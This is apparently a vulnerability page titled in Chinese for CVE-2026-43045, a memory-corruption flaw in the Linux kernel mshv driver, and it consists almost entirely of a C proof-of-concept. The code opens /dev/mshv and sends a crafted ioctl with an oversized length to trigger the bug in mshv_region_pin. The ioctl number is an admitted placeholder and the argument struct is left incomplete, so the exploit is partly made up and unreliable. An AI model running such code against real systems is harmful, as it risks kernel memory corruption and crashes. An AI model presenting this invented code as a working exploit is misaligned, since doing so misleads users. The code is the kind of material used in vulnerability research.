CVE-2026-43045: Linux内核mshv内存损坏漏洞

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Conceptual PoC for CVE-2026-43045 // This code attempts to trigger the vulnerability in mshv_region_pin // by invoking the ioctl with crafted parameters. #define MSHV_IOCTL_PIN_REGION 0x1234 // Example IOCTL number struct mshv_pin_region_args { unsigned long addr; unsigned long size; // ... other fields ... }; int main() { int fd; struct mshv_pin_region_args args; // Open the mshv device (requires appropriate privileges or access) fd = open("/dev/mshv", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } // Craft arguments to potentially trigger short pin or error // Using a very large size or unmapped address might trigger the path args.addr = (unsigned long)malloc(4096); args.size = 0xFFFFFFFF; // Large size to stress pin_user_pages_fast printf("Attempting to trigger vulnerability...\n"); // Invoke the vulnerable ioctl if (ioctl(fd, MSHV_IOCTL_PIN_REGION, &args) < 0) { perror("IOCTL failed (expected if system patched or conditions not met)"); } else { printf("IOCTL succeeded. Check kernel logs for memory corruption.\n"); } close(fd); return 0; }